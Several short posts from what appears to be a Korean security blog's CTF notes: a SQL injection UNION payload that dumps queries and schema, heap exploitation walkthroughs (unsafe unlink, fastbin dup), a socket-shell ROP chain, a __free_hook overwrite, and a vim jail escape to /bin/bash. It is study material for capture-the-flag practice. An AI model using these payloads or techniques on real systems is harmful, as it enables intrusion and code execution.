select id, pw from member where id='' union select info, 1 from information_schema.processlist;

->select id, pw from member where id='' union select info, 1 from information_schema.processlist

//쿼리를 모를 때 전체 쿼리를 반환받아볼 수 있음

select table_name from information_schema.tables where table_schema=database();

-> member, test_table

select column_name from information_schema.columns where table_name='member';

-> id, pw, no

'HACKING > Web hacking' 카테고리의 다른 글

Practical Web Cache Poisoning  (0) 2020.01.05
mysql group_concat  (0) 2018.04.04
SQL injection msql.innodb_table_stats  (0) 2018.02.24
sql injection 참고  (0) 2018.02.10
LFI Exploit with PHP Protocols / Wrappers  (0) 2017.11.30

libc= ELF('./라이브러리')

leak_binsh = libc_base + list(libc.search('/bin/sh'))[0]

leak_binsh = libc_base + next(libc.search("/bin/sh"))

---------------------------------------------------------------

strings -tx [사용라이브러리] | grep "/bin/sh"

 

Ref.https://nroses-taek.tistory.com/188

'HACKING > System hacking' 카테고리의 다른 글

python pty module with reverse shell  (0) 2019.09.21
bash trick(꿀 tip)  (0) 2019.08.21
unsafe unlink  (0) 2019.06.06
fastbin_dup_into_stack  (0) 2019.06.03
remote socket exploit??  (0) 2019.02.03

예를 들어

a1 = malloc(128);

a2 = malloc(128);

로 128바이트의 힙 영역을 두번 할당 받게되면 두 영역이 인접해진다.

여기서 만약

free(a1);

으로 첫번째 chunk가 해제된 상태라고 가정한다면 

두번째 chunk 헤더는 

prev_size : 00000090 size : 0x00000090

인 상태가 될 것이다. 자신 chunk의 size는 PREV_INUSE flag가 0이 된 상태다(이전 청크가 해제 되었단 의미)

이 상태에서

free(a2)

를 하게 되면 small bin의 특성상 두번째 chunk와 인접해서 해제되어있는 첫번째 chunk와 consolidation(병합) 하는 과정을 갖는다. 

취약점은 여기서 터진다. 오버플로우를 통해 첫번째 chunk에 fack chunk를 만들어주고 두번째 chunk의 헤더에 prev_size를 첫번째 header까지의 거리로, size의 prev_inuse bit를 0으로 해주면 fack chunk와 병합을 하게 된다. 그렇게 되면 첫번째 chunk의 주소를 가지고 있는 전역변수에 원하는 값을 집어 넣을 수 있다.

말대로 첫번째 chunk의 주소가 전역변수에 저장된다면 FAKE chunk의 fd = (전역변수 - 0x18)와 bk = (전역변수 - 0x10)로 넣어준다.  그렇게 하면 병합과정에서 전역변수에 FAKE_FD가 들어갈 것이다.

/*
    unlink가 트리거 되면


    ptr1->FAKE_BK->FD = FAKE_FD
    
    now, ptr1 == (long)&ptr1 - sizeof(long)*3;


  */

 

그런 다음 해당 전역변수의 값을 잘 조작할 수 있다면 공격을 할 수 있다.

'HACKING > System hacking' 카테고리의 다른 글

bash trick(꿀 tip)  (0) 2019.08.21
tips for find binsh address using pwntool  (0) 2019.07.05
fastbin_dup_into_stack  (0) 2019.06.03
remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17

사용 조건

1. 동일한 크기의 fast chunk의 할당과 해제가 자유로워야함

2. 공격자에 의해 해제된 fast chunk를 한번 더 해제 할 수 있어야 함(double free bug)

3. 공격자에 의해 할당된 fast chunk 영역에 값을 저장할 수 있어야 함

4. 할당 받고자 하는 stack 영역에 해제된 fast chunk의 크기 값이 저장되어 있어야 함

 

a = malloc(112)

b = malloc(112)

c = malloc(112)

 

free(a)

free(b)

free(a)

-> 이 과정에서 fatsbin에 a->b->a 순서로 들어가게 됨.

 

다시 

d = malloc(112)

e = malloc(112)

후에 d의 fd에 원하는 값(stack영역의 주소 - prev_size공간(0x8))을 넣어줌

다시 

f = malloc(112)

g = malloc(112)  // 여기서 원하는 stack영역의 주소에 메모리를 할당!

'HACKING > System hacking' 카테고리의 다른 글

tips for find binsh address using pwntool  (0) 2019.07.05
unsafe unlink  (0) 2019.06.06
remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17

포너블 문제를 풀다보면 바이너리 자체에서 소켓을 생성한 다음  I/O를 하는 문제가 있다.


근데 이러한 문제들은 일반적인 방법으로 쉘을 얻게되면 interactive()가 잘 되지 않는다.


왜나면 system이 /bin/sh의 입력과 출력을 부모 프로세스의 파일디스크립터 0과 1에 각각 연결하기 때문.

그래서 정작 쉘이 열리지 않게 되므로 작성한 쉘과 상호 작용하려면, 파일디스크립터 0과 1을, 통신 하고 있는 소켓의 파일디스크립터로 바꿔야 한다.


이렇게하려면, 먼저 stdin과 stdout에 대한 파일 디스크립터를 닫기 위해 close (0)와 close (1)을 호출해야한다. 그리고 dup (socket fd)를 두 번 호출하여 소켓을 사용하는 파일 디스크립터 0과 1을 생성 할 수있다. (ROP를 이용해 실행)

사용하고 있는 소켓의 파일 디스크립터를 찾는 방법은 아래와 같다.


gdb로 해당 바이너리의 socket이 생성된 시점에 BP를 걸고 아래와 같이 하면 된다.

$info proc 명령어로 해당 프로세스 넘버를 확인한 후 

$shell ls -la /proc/[프로세스ID]/fd 로 소켓의 파일디스크립터를 확인하고 exploit을 작성할 때는 이 파일디스크립터를 작성해주면 된다.


rop 과정


close(0) - close(1) - dup(socket fd) - system("/bin/sh")

이런식으로 rop를 하면 된다. (CTF에서는 바이너리 안에 close()를 자체적으로 해놓은 문제도 있다.) 



ref.http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt

'HACKING > System hacking' 카테고리의 다른 글

unsafe unlink  (0) 2019.06.06
fastbin_dup_into_stack  (0) 2019.06.03
memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16


헷갈릴 때 마다 봐야지 ㅎㅎ


'HACKING > System hacking' 카테고리의 다른 글

fastbin_dup_into_stack  (0) 2019.06.03
remote socket exploit??  (0) 2019.02.03
free_hook으로 Full Relro 우회  (0) 2018.09.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
vim jail 문제  (0) 2018.09.08

포너블 풀다가 Full Relro가 걸려있어서 got overwrite를 할 수 없는 상황이였다.

검색 하다 보니 free_hook에 write가 가능해서 이 부분에 one-shot 가젯이나 system함수의 주소를 덮어쓰면 free()함수를 호출할 때 이 hook을 실행한다.

다시말해 one-shot가젯이나 system함수를 호출한다는 것이다.


 이 free_hook의 위치는 아래와 같이 찾을 수 있다.

p &__free_hook

이렇게 찾은 hook에 overwrite를 하게되면 free()함수를 호출하면 overwrite된 가젯을 실행시킨다.

Full Relro가 걸려있을 때 유용하게 사용할 수 있다.

ps. malloc_hook, realloc_hook도 사용가능하니 참고하자.


'HACKING > System hacking' 카테고리의 다른 글

remote socket exploit??  (0) 2019.02.03
memory cheat sheet  (0) 2019.01.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27

ltrace ./binary 로 바이너리를 디버깅 하면서 아래와 같이 __libc_start_main부분에서 첫번째 인자에 main의 주소가 나온다.


int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));


ex)

첫번째 인자인 0x0804874d가 main의 주소다.

기존에는 다른 함수들에 bp를 걸어서 계단형식으로 main을 찾았는데 이제 이 방법으로 해야겠다.


Ref.http://paulo.tistory.com/78?category=654027

'HACKING > System hacking' 카테고리의 다른 글

memory cheat sheet  (0) 2019.01.17
free_hook으로 Full Relro 우회  (0) 2018.09.17
vim jail 문제  (0) 2018.09.08
gdb 멀티프로세스 디버깅  (0) 2018.08.27
The House of Force  (0) 2018.08.23

TokyoWesterns CTF 2018 Vimshell 문제다.

포스팅 하는 이유는 이 문제는 ":", "q" 등이 막혀있어서 일반적으론 vim을 빠져나오지 못하게 해놓았다.

하지만 풀 수 있는 명령이 있다.

Vim cheatsheet

여기서 보면 "K"를 입력하면 man page로 이동시켜준다. 이 man page에서 !/bin/bash를 입력하면 바로 쉘로 나올 수 있다.



'HACKING > System hacking' 카테고리의 다른 글

free_hook으로 Full Relro 우회  (0) 2018.09.17
ltrace로 main함수 심볼 찾기  (0) 2018.09.16
gdb 멀티프로세스 디버깅  (0) 2018.08.27
The House of Force  (0) 2018.08.23
파일 디스크립터  (0) 2018.08.04

+ Recent posts